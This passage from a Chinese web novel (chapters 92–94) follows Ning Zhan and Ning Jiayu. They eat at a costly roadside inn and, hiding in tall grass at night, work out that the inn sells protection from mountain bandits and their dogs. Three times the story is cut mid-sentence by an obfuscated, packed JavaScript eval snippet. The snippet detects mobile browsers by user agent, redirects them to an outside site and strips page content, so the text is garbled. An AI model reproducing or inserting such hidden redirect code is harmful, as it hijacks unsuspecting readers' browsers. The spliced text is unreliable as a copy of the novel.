“唔......鼫鼠五能，不成一技。五技者，能飞不能上屋，能缘不能穷木，能泅不能渡渎，能走不能绝人，能藏不能覆身是也[2]。世上果真有那样博而不精、一事难成之人么？”景以承感悟颇多，热切道：“与其学无头苍蝇去撞那许多堵死的门，何不专攻一技？雕虫小技亦能积水成渊呀。” 闻言，以宁默默把头埋近碗沿，有些赧然。 以宁当初依满腔怨气和景以承在旁人口中的形象，不分青红皂白指摘其一事无成，可景以承似乎并不去记他屡次出言无状的仇。 同是待一面之词，景以承非但未因这言词出自宁展而随声附和，还要给那位“陌生人”出主意。 当然了，凭以宁的习性，至多想到景以承不记仇为止，而不会在心里衡量自己与景以承孰好孰坏。 恰如宁展说的各有所长。 景以承是文，他是武，以宁只想互不干涉。 “景兄所言，金针见血。此鼫鼠，坏就坏在贪心不足、心猿意马，不甘于专攻。啃着未劳而获的树枝，就想更甘甜的羊草；吐了地上拔起的羊草，又在觊觎谷雨时节迎风飞扬的——” 宁展吞下一口掺着碎冰的果露。 “新絮。” 冰晶在齿间进一步粉碎，冻的是宁展，随之沉入雪窖的仿佛是整个上房。 其余几人的状态无不耐人咀嚼。 景以承填饱了肚子，容光焕发。他拿过小二视线布于案头的湿帕净手，摸出怀内小册翻看，愈发想见识一下那位宁展印象中又笨又坏的鼫鼠，提笔推敲其恶习是否有回头的余地。 宁佳与低眉不语，貌似松弛。她三指捏木匙，一勺接一勺挖着碗中豆泥，然每每送入口中之物，多是空气加上丁点软泥，滋味委实难以品评。 以宁食不下咽，放了筷箸。 柳如殷瞥着手边那碗热气尽散的美味，笑得勉强。 薄唇重新扬起温婉的弧度，她捧起排骨汤，迈步欠身道：“方才给以宁兄弟留了一碗汤，瞧着是冷了，我这便叫人热一下。” “还是温的。”以宁不假思索道。 长案两侧本为男女各坐一边，即宁展和宁佳与、景以承和柳如殷两两相对。 景以承位于宁展左手，以宁则一进屋就被宁展按到了右手的空座，正是距柳如殷最远的位置。 要想亲手接过那碗排骨汤，以宁不得不绕过长案。他走道目不斜视，因此不清楚宁展是否盯着他。 以宁驻足站定，小心端来柳如殷托于掌间的碗，这回笃定了：“是温着的。多谢柳姑娘。” 柳如殷双臂悬在半空，直至以宁转身回到宁展右侧坐下，她扶着把手，将自己连同那句未能出口的“不必客气”一并收进圈椅。 等以宁用完那碗汤，宁展依旧没抬眼。 余光足矣。 宁展饮尽果露，净过手，淡然道：“下边儿情况如何。” “正堂暂无反常之处。但——” “陛下”二字到了以宁嘴边，他及时改口。 “嘉宁的事有回音了。” 宁展不紧不慢侧首，移向以宁的视线却如那些落灰铜镜，俨然要映出模糊可怖的假面。 他稍附耳，以宁倾身靠近，禀报的消息被拢在弯曲的手掌和他耳畔。 景以承自册本抽身，即听宁展冷笑。他没敢撞枪口，于是对斜座的宁佳与眨眼求解。 宁佳与环抱两臂，先是没奈何地耸肩，表示她也没辙。 其实是她不想问。 毕竟宁展有意遮掩的事，她未必挖得出来，何苦寻不痛快？然房中直掉冰碴儿的氛围冻得很，这可是她的屋子！倘任由诡异的凉意逗留甚至加剧，入夜须服两粒师父给的安神丸才好睡。 念及为数不多的药丸和无法预估的归期，她决计省着点儿，以免来日梦魇吓到谁。 “呃，这个......哦。”宁佳与稍作掂量，端一副好人脸，“我听正堂的客人在议论嘉宁世子。” 以宁尚在絮语，被指了名的宁展身形不动和宁佳与对视道：“在这儿？你就能听清正堂所言何事？” 宁佳与强忍白眼，友善笑道：“并非在此，是付账时略得耳闻。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此计称得上险招，也真真制胜，只领兵主帅并非宁展。他不是喜好豪赌之人，亦不干煽惑民心的勾当。 那封请罪的折子离手之际，宁展没想过卫子昀会死。 “却不知何故。” 宁佳与看了眼默然的宁展。 “退位一事未如常以官府公文晓谕七州，而由邸报抄送，三大州同时发出。大赞嘉宁世子的言论之外，不少人与掌柜抱怨——本同根生，何以大州的百姓有报可读，他们得靠四处收捡小道消息去见七州大事。” “没什么可恭喜的。”宁展冷不丁道。 景以承明白储位不好拿，宽慰道：“......老师，何必苛求尽善尽美？你已经——” “丹心碧血，还是碌碌终身，要人自行抉择。譬如手下能够把命托与我，我不能利用他的牺牲欺世钓名。这以退为进的招数，非我授意。” 宁展齿间微响，心平气和。 “景兄肯唤我一声‘老师’，便莫将那鬼蜮伎俩学了去。” 罩于华灯之下的火苗在景以承眼中跳跃，他不由一抖，哑口点头。 虽未得到宁展正面回答，宁佳与的困惑业已解了十之七八。 宁展握住腰间茄袋，咽了嘴里的血腥味，心道，行同鼫鼠，奸若鬼蜮，果真一丘之貉。 92. 野草 原本谈笑风生的饭局索然而散，宁佳与以人人有份的“冰清玉露”送走几座冰雕。自己的天价离枝水儿也在坛中晶水交融，化作没滋没味的白汤。 三百两银子花得是否值当，她尚不知，但一定花得心里膈应。她不死心捧高坛子，仰头痛饮一口，得到同样的答案。 拿这玩意跟含桃汁比，含桃的核都嫌丢份儿。 宁佳与拉开窗扉，远眺早已望不清的步溪城。 倘师父听闻她拿嫁妆买了几坛傻子才会喝的果露，会不会指着她鼻子大骂“死丫头！蠢死为师得了”？ 偶有软风浮荡，撩起碎发，又似师父站在镜前替她施妆挽髻，毫不吝啬地赞叹“雨儿是玲珑月，非常人可以窥见”。 逢贺新春，师父便会为雨儿挑出一绺细发，加之彩带编作小辫。年长一岁，则多添一绺。 彩带颜色不同，小辫的样式也五花八门，却没有哪年岁除的雨儿不漂亮。 师父相当爱美，爱出自她手的任何一件美丽。 譬如红银相间的蛊虫，或颜香俱雅的堇色花，以及托在掌心还怕碎的徒弟。但师父从不说爱，只说那手里的美丽是宝贝。 宁佳与迎着风合眼，无论身处何方，皆听得到爱。她久久未睁眼，许是出神去了某地，许是静候什么到来。 嗖！ 来了。 宁佳与近乎与疾速掠过窗沿的风动同时睁眼，即见一抹雪白自下赫然直升，冲腾入云般飞出了她的视线。 “白歌！”宁佳与低声急唤。 她探半个身子，伸手欲接那只离开步溪就肆意化形的小信鸽。 雪白扑落手背，未携来意料之中的温热，将人拖入错愕与茫然。 两声响指，点破窗外少顷静默。宁佳与从愣怔中缓过神来，循声往下看。 宁展通身夜衣，长发高束，如墨瀑倾泻肩臂。他倚在二层的窗沿，打手势示意两人走窗落地，一层会合。 纵有疑虑，宁佳与也颔首回应，准备当面再论。 她收好宁展抛还的绒巾，换上箭袖玄衣，把披散的青丝一并拢起。 收拾停当，她恰好途径妆台，遂俯身检查夜行装束有无疏漏。颅顶仍是柳如殷为她生辰所选的薄纱细带，虽为赤色，却不抢眼，顺利融入发间和星夜。 宁佳与堪堪踏走两步，又折返瞧一眼，发现自己捆头发的手艺果真进益，心满意足出门——出窗了。 - 四周俱是势要往九重天之巅蹿生的杂草，尖端刺痒、参差不齐，戳得宁佳与总想打喷嚏。她卯着劲垫脚，试图呼吸上边毫无遮挡的清新。 而寻她会合的宁展稍高丛莽半头，为隐迹潜踪，反要弓下身子找戳，且对耽误她倒头睡大觉的冒昧没有一字解释。 不等宁佳与质询他的旧症，宁展便赶趟儿似的又犯新病。 他面具已除，凝视百步外的客栈，声音压得极轻：“抱歉了。是哥哥，但不姓白。” 若非目光所及之处唯有他们二人，宁佳与几至心疑宁展在同谁猜灯谜。 她没理对方自言自语的胡话，继续往上蹦，却被宁展温和的力道摁下脑袋。宁佳与清楚感受到这动作没使力，并非必要之举。 那就是有意给她下马威了？ 宁佳与赫然拍掉盖在她头顶的手掌，玄青束衣散发着里外三层由宁展一人引起的怨气。她忍无可忍，收声呵斥：“撒什么疯呢？！” 宁展扭头，看宁佳与脸颊飞红，像是因着周遭草莽拥塞而呼吸不畅，又像受那句他自称的“哥哥”所气。 他眉梢微挑，申辩道：“不是你先唤我‘哥哥’的么？” 宁佳与狐疑回忆。 晚间诡异的饭局，并没有；饭局前与宁展的“切磋”，更没有；再想白日里那出“引蛇出洞”...... 她一记掌风将宁展拍得后仰。 “我是喊了，却没指名道姓地道是你元公子！” 宁展脑海中逐个筛选身边较宁佳与年长的男子，连完全不似二十一岁的景以承也没落下。 “那你还想做谁的妹妹？”他面上闪过不悦，喉间滚动，到嘴边的人名吞了回去。 宁佳与忽然想通了那句自言自语的来由。 隔于门外、混于嘈杂的脚步声宁展都精确捕捉，绒巾是宁展所抛，定然听得清她适才在窗前唤了谁的姓名。 “姓白的咯。”宁佳与乜斜着等答复，宁展却转向客栈，答了半张以宁那样的木头脸。 瞧宁展不满意的样子，她就满意多了。宁佳与用手肘拱了拱冰坨子的护臂，挤兑道：“公子雅兴频频。夜半眠时，放着上好的丝衾不盖便罢，还要拖在下道此裹野草。” “......这可不是寻常野草。”宁展咕哝道。 一为防方向不明的丛莽中失散，二为遇上险情及时支援，如何唇枪舌剑不相让，两人须得靴子贴着靴子站。因而多么含糊的话，也能听个大差不离。 宁佳与不由嗤笑。 “那是什么？天赐神草？王室园林？” “说不定呢。”宁展略偏头，手指着两人的脚下，语调神秘莫测，“你知道我们踩的这片草丛，价值几坛冰清玉露？” 自驶入汴亭境内，官道两旁无不是这漫天蔽野的冲天野草。 可依宁展的意思，不仅表示宁佳与轻视的野草堪以银两衡量，且借价码颇高的“冰清玉露”作比。他们近日跑过的路，难道是金子铺的不成？ 念及此，宁佳与不自在的双脚更加无所适从，一挪一踏不知会碾坏多少两银子。 她屏气敛息，悄声道：“几坛？” “怎么也得......”宁展笑容不明，“一千坛往上。” “多——”宁佳与惊呼，又赶忙压声：“多少？！六万两？有这闲钱，够给朝廷新添一万步兵了！” “不错。要养活如此规格的丛莽，不是六万两银子挥出去便一劳永逸了，得另着专人打理。日久岁深，钱如流水，岂不就跟每月发军饷似的么。是以大州、小州，一个个舍不得自家金库的，裁军裁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15089563|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至底线全无。” 宁展陷入幽思，浑不觉话题扯远。 “再错下去，待外寇打进家门，怕是提得稳剑的兵都调不动几名，遑论持枪纵马、搴旗斩将。” “不屑养兵，却挥金如土去养这许多夹道的草？！养来又作何用，喂猪么？”宁佳与大惑不解，继而抱起双臂，不咸不淡道：“也是，做出那般无脑决策，可见汴亭朝堂上的猪猡声已泛滥成灾了。” “你这小女娘，怎的生了这样一张毒死人不偿命嘴？”宁展笑道。 他深知宁佳与自有分寸，诸如此类言语顶多私下揶揄两句，亦不忘半真半假地叮嘱：“过几日到汴亭，劳大侠嘴下留情，千万记得留那群文官半条命，免遭歹人鱼死网破时反咬一口。” 分明是玩笑话，“嘴下留情”莫名显得有些失礼。 宁展也是一时口快，话音落定，二人双双侧首相视，近在毫厘，又立马不约而同错开目光。 “留......什么情！” 心慌意乱加之义愤填膺，致使宁佳与非但不留情，索性点火架炮，对现下想到的所有人扫射一通。 “公子这是活佛重塑金身了？且不问元家长辈于今生死未卜，那唯利是图、不分轻重的贪官污吏值得你为之说情？被猪反咬一口能如何，就是碰上臭不可当的鼫鼠，我照样治它！” 宁展闻言微愣，不确定道：“小与认得‘鼫鼠’？” 宁佳与瞬间屏息，宁展任由炮轰不喊痛，顺带把她燃至半道的引信灭了。她不禁合计，看来活佛面前属苦肉计保险。 “不认识。”宁佳与转眼换了腔，脸埋入丛间纵深的草影，左掌蓦地捂住右手背，“嘶......” “怎么了？”见宁佳与按掌不松，宁展扯过她的腕子，“莫不是被蛇咬了？！” 宁佳与磨磨蹭蹭抬起手，在宁展既恼火又无奈的注视下挠痒，笑呵呵道：“是虫子。” 宁展想狠狠甩开成心捉弄人的无赖，唯恐一个没收住将这细胳膊细腿弄折了，只得推走那腕子，耐着性子道：“汴亭时局盘根错节，要彻底肃清蛀虫，最好一气呵成，省得夜长梦多。故许多事须凭那群文官行方便，若在此之前与他们撕破脸面，打草惊蛇不说，平白让心怀鬼胎之人有机可乘、落井下石才叫棘手。” 道理宁佳与明白，而她才把宁展的建议贬得不仁不义，这会儿少不了端着恍然有悟，以免宁展逮她盘问鼫鼠。 “你是打算......我们佯作不知明堂成了猪圈，先与之交好，事半功倍。待事成后，反手把猪一网打尽？” 宁展哭笑不得，腹诽这无赖真是拨弄人心起伏的好手。他去了不少闷气，点头道：“是这么个意思。” “那公子说的心怀鬼胎之人——” 宁佳与“呸呸”两下，吐出趁隙扎嘴的杂草。 “又是谁？” “七州。不，”宁展严肃道，“七州内外，均有可能。” 子时在即，城郊人声渐静，目迷五色的繁闹终将随烛燃尽。 93. 瞳仁 为利于轻功发挥到极致，听雪阁束衣面料轻而柔韧，裁制尺寸更是纤毫不爽，贴合身形却浑不影响出招。 宁佳与身上的青蝉翼便是如此。 包裹严密，保证所及的每寸肌肤都护持到位，让不肯放弃的蚊虫无从下口。没有青蝉翼把守之处，譬如手背和前颈，就十分惨不忍睹了。 “啧——”宁佳与拍死第八只蚊子，不满质问：“为何它们就可着我一人叮！你的血很难吃吗！” 宁展不住低笑，道：“你是问它们，还是问我？” “我问它们，鬼替它们传话？”宁佳与忍住把死蚊子按上对方脑门的冲动，道：“还是说，这八只坏东西是元公子故交，元公子代我转达？” “元某惭愧，交友不甚。”宁展拱手道。 “咱们在这儿猫了快一个时辰。”宁佳与奋力扯高几寸衣襟，继而双手夹在臂下，不信宁展的故交无孔不入，“莫非要等野草自己吐出六万两银子不成？” “你还记得，”宁展依旧紧盯客栈，“白日里那位大娘说的话吗？” “那个胡子男人的夫人？” 自遇劫后，宁佳与不时便拎出其中诸般可疑之处，暗自思量。 “记得。” - 马儿业已饱餐，昂首挺立，虽驻足原地，却仿若立刻能载九鼎踏破千里泥泞。 几位观者不动如渊，静谧深邃，与万物众生一同审视着釜底游鱼。 唯有丛莽无风生颤，瑟瑟难捱，似要魂飞魄散。 阎王神色凶戾，阴冷的刃擦鞘而出，赤裸裸刺向烈阳。 “不要！” 惊惶之声总算滚过野草，跌跪杀生之柄下，为闭眼等死的泥人讨一线生机。 “这位好汉......我愿做人质、仆从、杂役，馊饭吃得，泔水喝得，苦力做得，直到还清亏欠主家的银两......若不然，砍我的脑袋也成，求饶过孩儿他爹！” 谋划即成，宁展下意识转头去望与自己心照神交的宁佳与。他想隔空证实这默契，奈何人家不领情，光回个“差不多行了”的眼神。 “你们是夫妇？” 宁展缓缓收起白刃，剑鞘仍抵在胡子男人的太阳穴。 “是，是是！”妇人慌忙应声，泣涕如泉涌，冲刷着面颊黏附的草根。 想是躲在丛间窥测时被几人杀气腾腾的架势吓破了胆，汗泪交下。 “不是！”胡子男人喷出满口泥浆，粗哑乱嚷，“拿了钱跑哇！憨东西，逃命都逃不明白！想气死——” “闭嘴。”宁展重新压紧男人的脑袋，对妇人道：“什么身份。家住何处。意欲何为。以及，杀过几个人。你代他如实说来。” 妇人两掌交叉合紧，握于胸前，欲恳求宁展善待胡子男人，却不能直言，生怕惹白刃再现。 她努力吞咽恐惧，战战兢兢答：“我、我们是良民啊......家，没得家了，我们不愿抢钱，但是......没有，没有杀过人，我和当家的不会杀人，也不敢杀人......” “良民？” 宁展双眼微眯。 “熟门熟路扛着斧头劫道，挟持人质，动辄要人性命，抢了钱财撇下同伴就跑。这便是良民？如此行事，不杀人，就不担心别人回过头杀了你？你——” “啧。”宁佳与立在不远处，发声警告。 也不知宁佳与是嫌他放着重点不切入，催他动作麻利些，还是单纯看他这副故作恶霸的模样不顺眼。横竖把警告听进去了，宁展话锋骤返。 “你们受何人指使，或者说，为谁卖命？” “我不晓得......不晓得......”妇人连连摆头，尽是老茧和疮口的手堵着眼泪，“好汉，你放当家的走罢，砍、砍我的头。钱要不回来的......你们莫往前走了！” 似是忽然想到了什么，宁佳与上前几步，问妇人：“大娘，你的孩子呢？是否在幕后主使手上？” 妇人惊耳骇目，又开始重复念叨“不晓得、不晓得”。 宁佳与弯腰扶起妇人，未及言语，剑鞘下的男人即同砧案上垂死挣扎的黄鱼，徒劳扭动翻不起来的身子，朝宁佳与嘶声怒号：“做什么！撒开手！有本事冲老子来！” 眼瞧宁展将剑鞘挪至男子颈间，妇人因久跪站起兼心中忧惧而头晕脑胀，失控地抠住宁佳与予以搀扶的手心。 凹凸不平的指甲登时嵌入血肉，宁佳与疼得直抽气。宁展看紧男子，并未留意此处插曲。 “大娘别怕，他不会下杀手。”宁佳与反握妇人手背，逐渐缓解其注入指尖的恐慌。 她迎着妇人愧疚的泪，安抚道：“大娘，助纣为虐、逆来顺受的日子，一定很不好过。您不妨把孩子的下落告知于我，我等必竭尽所能，捣毁歹人贼窝，救出令亲。来，这些碎银您拿着，不成敬意，到底可以应急。” 宁展唱白脸，宁佳与唱红脸，两人配合堪称天衣无缝。但任他们好说歹说，妇人依旧不肯和盘托出，甚至把宁佳与的银子递了回去。 胡子男人瞟见到手的银子要飞，却被宁展困在泥淖，又气又急，下巴捣着泥，好比要犁出二里地。 “姑娘......你是个好心肠的，听我一句，莫往前走，莫去追那些银子了，当是破财消灾罢......”妇人哀劝，抽离宁佳与手心的指头依旧发抖。 “多谢大娘提醒。” 宁佳与收起银子，不动声色藏起伤处。她灵光乍闪，默念三声歉，放柔了语调。 “可是大娘，骨肉分离的感觉，实在......不怕您取笑，我自小被迫与娘亲分开，而今好容易盼到团聚的时候，终于能为母尽孝，您却劝我打道回府。这许多年，我连娘亲的模样都描不出来了，心里苦啊......” 妇人深受触动，堪堪停止的悲泣如汪洋再度拍岸，颤声道：“好姑娘，世道乱啊......娘亲不在身边，更得保全性命。妾身是粗人，觉得子女好好活着，便是对为娘这辈子最大的告慰。要是骨肉缘分在，以后......总能再见。” “那......就没旁的法子过汴亭了吗？”宁佳与陪妇人抽泣，“为何不能过、何时才好过，您说个大概，给小辈留点儿盼头也行啊？” “没有......没法子。”妇人眼前蒙着雾，宛若望遍荒郊野岭，寻不到一条可行的道。少顷，她倏尔抬头，像是凭空牵到一缕希望，牵着宁佳与，欣喜道：“有！有盼头！” 宁佳与按捺急切，轻声道：“是什么？” “嘉——”妇人凑近宁佳与，窃窃私语：“嘉宁那位大殿下！人说，他要微服私访，一路南下。那是个救苦救难、真真贤明的主！当家的领过他发的大米，一点霉气没有！前阵子就在景安和步溪造福百姓，估摸着，该到汴亭了！” 宁佳与闻言一笑，不禁侧眸去瞥那位救苦救难的主，对方正仗着身份未露、净意吓唬人呢。 她避开宁展疑惑的眼神，把声收得更轻：“大娘，您确定......他当真领过那位殿下亲手发的米？” “是、是的呀。”妇人有些迷茫。 “不知那位殿下长什么样子？来日他驾临汴亭，”宁佳与忍笑道，“我也想依着印象去沾沾福气。” “这......”妇人转身背对胡子男人，“当家的没见着。明君身上都有圣光，轻易不得直视冒犯。倒是有胆子大的敢瞧，但......” 他不敢瞧呗？ 还圣光。宁佳与十分怀疑，宁展是不是专挑着日头当空的时辰去发大米，好借火轮塑他的“金身”。 “若是那位殿下不巧错过了汴亭呢？”宁佳与道。 妇人长叹一气，百念皆灰，不经意抬高了音量，宁展和宁佳与听得前所未有的清晰与余悸。 “就没盼头了。要命丢钱，要钱丢命，四面全是死路，往哪里都走不通。” - “你看。”宁展替宁佳与稍稍拨开面前的青草。 阆琼客栈孤伶伶立于郊野，却如有神谕相助，应了掌柜昂贵的祝福，令牛鬼蛇神无法接近各位受华灯保佑的贵人，亦不能轻易摧毁楼中繁荣兴旺。 夜色在楼阁身后张开疏阔的胸膛，明暗截然，宁佳与眼里映入数百点通红的光斑。 她与宁展静观其景，目不斜视，冷静道：“什么？” “瞳仁。那些透过窗棂麻纸的光点，像极一双双充血的眸。”宁展沉声道。他将草尖压低两寸，看向宁佳与，“不是人的眸子，是让人望而生畏的瞳仁。其后，势必伏着随时扑食羔羊的凶兽。” “‘城郊附近常有恶犬出没，专好食人眼球。子时灯灭后，请勿开门开窗、随意张望’......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15092885|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁佳与喃喃复述堂倌再三嘱咐的客栈成规，眉头紧锁，按下宁展有可能暴露行踪的动作。 “你是说，那恶犬，实不在所谓的‘城郊附近’，是藏于客栈伺机而动？” “在。”宁展呼吸一滞，明白了宁佳与的考量。他收回被宁佳与遗忘掌间的手，气息恢复如常，“但不尽在客栈。适才上房中，屋内屋外一派灯火通明，因此我只觉那红灯或有古怪，并未理解景兄缘何将其解读为‘诅咒’那般骇人视听的含义。” 宁佳与垂首沉思，掠视近处密密层层的丛影。 凝注片刻，红光恰如摄魂夺魄的幻术，浮泛脑海，挥之不去。 缘何瘆人？正因如是。 置身于此，与环抱瞳仁的黑暗融为一体，方睹之醒目而刺眼。 猩红若血，煞气四溢。 “‘要命会丢钱，要钱会丢命’......假使，钱便是那六十两银；这里，客栈所临之处——” 宁佳与睁大了眼，妇人的哀叹猝然回荡，震得她两眼发昏。 “就是‘四面死路’的其中之一！” 钱，不是流匪劫的钱。路，不是七州各方通往汴亭的路。 那抢手的招牌，还会是明面论的果子露吗？ 子时初刻，楼阁敛光，火瞳成眠，灼人心神的“祝福”暂告落幕。 “他们抢的是命。” 宁展言语平和，心则仿佛被百盏同时熄灭的华灯狠狠揪扯。 “从你房中离开后，我留意到以宁、柳如殷屋里也点着灯。无怪那掌柜偏得钉死一人一间房的规矩，我原以为他无非想多赚几份黑心钱，顺带借此由头立牌坊。如今看，一间房，就是一条命了。” “若我们推断无误，一坛高价果露可以从掌柜手中买回一条命。那些点燃的‘祝福’，就是免死金牌。既是免死金牌......”宁佳与极力压稳气息，“务必亮得有意义，亮与该看的人看。” 这推杯换盏至三更的地方，压根不会有“夜色将起便早早歇下而无须点灯”的例外。拿不出六十两银子的客人，又如何拿得出上好的绢纱穗子和王室专用的雕花红烛。 不是无须点灯，是无“灯”可点。 而该看“免死金牌”的人，此刻大抵与宁展、宁佳与共处于同一片黑暗。 兴许，这些人来得比他们更早、更静，才能在火瞳阖眼前，在满楼欢声外，将每一块儿示出的“免死金牌”收集完毕。 余下没有得到“祝福”的可怜人，或是不懂规矩、直截错过客栈的愣头青——幸运的话，死在一击毙命的屠刀下；不幸的话，会在死后亲眼目睹恶犬大块朵颐的好胃口。 定神之际，宁展和宁佳与猛地侧目相视。 来了！ 他们竟当真听到几声极远、极微弱的犬吠。 屠刀、手斧尚且受人所控，跟着人藏形匿影。但听周遭犬吠愈发密集而凶狠，任白天黑夜，俱是一个没法轻易掩盖的破绽。 二人沉吟位语，显然不相信世上有来去无痕的犬类，哪怕是化形之后的步溪人。 再者，以步溪臣民对外州人沉积的敌意，彼此和平共处都成问题，更不会伙同汴亭流匪埋伏在此、狼狈为奸。 可无所遁形的恶犬还能怎么隐去破绽？ 倘流寇先行，狗群后至，那许多人与兽平素藏身的巢穴又在何处？ 持有迫使过往行人将果子露抢成客栈招牌的威慑力，足见其声势之大，加上狂吠声肆无忌惮的狗群，只这片茫茫密丛，真能将动静遮掩干净吗...... 宁佳与冷不丁攥住了宁展的护臂。 走出客栈，踏过黄土，确是丛莽广袤。恰是这无比庞大的规模，和汴亭朝堂昏头的决策，二人一直被身边存在感过于强烈的草野限制脚步、模糊方向，忽视了延伸的尽头是什么。 响彻荒郊的咆哮中，宁佳与托起宁展的手掌，伸出食指，就着头顶几欲崩碎的月色，给宁展写下一目了然的字。 山。 延伸的尽头，是山。 汴亭足以称为祸患的匪，是山匪！ 数十把斧头、抢了银子就跑的流民，在狗群和山匪面前，恐不如好客的掌柜来得残暴。 妇人所言的“往哪里都走不通”，即官道、乡道，甚至外人观之貌似有一线生机的崎岖山道，尽衔于恶犬獠牙。 94. 犬牙 狞恶发喊连天，愈来愈清晰。 然宁展将扶上剑柄，危险便不再朝二人的藏身的位置靠近，而是徘徊于某处叫嚣。 宁佳与保持半蹲伏，顺着宁展手指拨开的缝隙看去。 有时候，充分的远距与深深夜幕，比一身利落玄衣和完美的易容术更适合防人耳目。 若不是犬吠猖狂，片刻走神，宁展兴许就掐不准那群山匪何时挪到客栈后院的栅门前了。 高丛狭缝，二人隐约可见——半数膀大腰圆者各拽一只直立几至齐平人胯的疯狗，其余半数则簇拥外圈，肩扛兵器，大摇大摆，端得是目中无法亦无天。 宁佳与没看错，流光下起伏的银辉，绝非来自不入流的杀猪刀或劈柴斧，是为作战规格的兵器。 为首之人据为己有的利器，乃是一把头长二尺有余、弯曲如蛇、两面为刃，通体约一丈八的铁制长矛。 倘如宁展所料，此矛头身相接应刻着个响当当的“郑”。其意不止于姓氏，是支经历过血汗洗礼的军队。 他一眼认出，不单因着那是昔年御驾亲征的琛惠帝班师回朝，为犒赏麾下两员得力大将而赐的其中一件兵器。 那亦是琛惠年间的郑家军主帅兼辅国大将军郑邦传于其子——骠骑将军郑高，郑高再传车骑将军公孙岚，最后图像由公孙岚绘入郑家军武籍，被以宁日日捧着看的荣誉象征和志向所在。 眼见为首那厮赤着两条宁展一脚即可踢断的膀子，驮足足一丈八的矛走道都费劲，却要搬出来狐假虎威，宁展就气得牙痒。 “公子以为，眼下如何是好？” 宁佳与眼底的担忧从客栈移至身边。她搭上宁展握得骨节“嘎吱”响的拳，疑问兑着宽解人心的柔软。 “公子这张脸若与那群地痞流氓结下梁子，进城后的日子不会太平。风言风语事小，唯恐横生枝节误了除虫良机。我们却也不能看着里边的百姓死在歹人手里不作为，此番，便由我一人出手罢。” 宁展松了手头的力道，隐忍道：“不急。” 或是掌柜的成规起了作用，或凶兽张牙舞爪的气焰烧破人胆，总之双管齐下的恐吓十分奏效。楼阁上下近百扇门窗，无一不像滚过热汤仍然夹生的面疙瘩那般老实。 未消多时，后院飘出两人低三下四，为栅栏外趾高气扬的地痞流氓开门。 疯狗明显空腹而来，铁链早已锁不住它们饱餐一顿的欲望，逮着迎门的两副瘦骨头往上扑咬，追在狗屁股后头拽链子的胖墩险些被那股狠劲拖得撞翻栅条。 旁侧几根细膀子没耍够威风，悻悻搁置兵器围上去，帮着拉回哈喇子乱飞的犬牙。 “他们暂时没有要进去的意思。” 宁展抬指圈了后院外停滞不前的若干人等。 “大抵还要由狗群狂吠一阵，确保握有‘免死金牌’者不敢多管闲事。” 宁佳与颔首，发现宁展的目光不在人头众多的那侧多作停留，循之探看。 细膀子们灰头土脸捡起兵器。 那两位埋头哈腰的倒是对犬牙勾破衣襟司空见惯，碎步退避，比几个自视高人一等的匪首从容许多。 “立在院内的......”宁佳与微微眯眼，“举止像楼里伺候的堂倌。有何古怪？” 宁展思忖片晌，没头没尾地问：“你听过几个堂倌说话的声音？” 宁佳与一怔，不想宁展的思维也变得越发跳脱了。 宁展看着她等答案。她不自在地松了手，随即道：“只听过话语权较大的几个头头和掌柜的开口说话。是存心不开口，想遮掩什么......” 还是他们本为身患病残的聋哑者，聚集于此，与墨川迎柳殿广收聋哑女子大同小异？宁佳与知道宁展近日对关乎墨珩的人、事、物无甚耐心，因而并未道出此话。 “光是布菜、点灯的动作娴熟利落，合情合理。可过程每一处均做到令旁人不闻其声，脚步尤其轻悄，专门接待达官贵客的大雅之地也无几如此。放在寻常客栈，更显过犹不及。” 宁展观察两人恭候的姿态，又想起他们光洁的脸蛋和衣着。 “与其说刻意控制，那些潜移默化的反应深入四肢百骸，成为他们无法摆脱的自己。一言蔽之，毫无烟火气可考。” “这般来，不单果饮恰如从宫宴照搬过来。”宁佳与道，“连堂倌都像宫人出身。” 宫人。 确切而言，是做惯了人前抬不起头，随时要留意身上是否有污糟异味，胡茬少之又少的——太监。 “对。但可以肯定，他们不想，或不能，将这层身份摆到明面上。是以无法开口。”宁展再次转向宁佳与，“‘冰清玉露’没有招牌，亦复如是。” “不愿暴露身份，又不干脆雇人做，除非......”宁佳与不确定道，“这些人的主子安排他们到此，净是做些见不得光的勾当，实不便假手于人，须亲力亲为才安心。可他们的主子会是谁，汴亭世子？朝堂文官？总不会是被架空的缙王。” “说不准。且连那位，”宁展面露郁结，却不得不说：“公孙将军，也不排除嫌疑。你瞧那最厉害的长蛇矛，是先帝赏与大将军郑邦的，如今该在公孙岚手中。” 这位公孙将军，宁佳与其实略有耳闻。 琛惠年间，辅国大将军郑邦与定国大将军韩午是同袍同泽、出生入死的交情。 战场上，两位异源同流的主帅数不清替对方砍过多少支冷箭、剜过多少刀烂肉，救的是急，更是命。两家由此结为世交，无奈这份情义未及向下传承，夭折于二位大将军自家的摇篮。 郑邦之子郑高鄙夷韩宋贪心，既要舞剑又弄文墨。 韩午之子韩宋则与大多数将士一致认为，郑高貌若柔媚娇娘，往出一站就是祸水红颜，扰乱军心，上了疆场甚至有损国威。 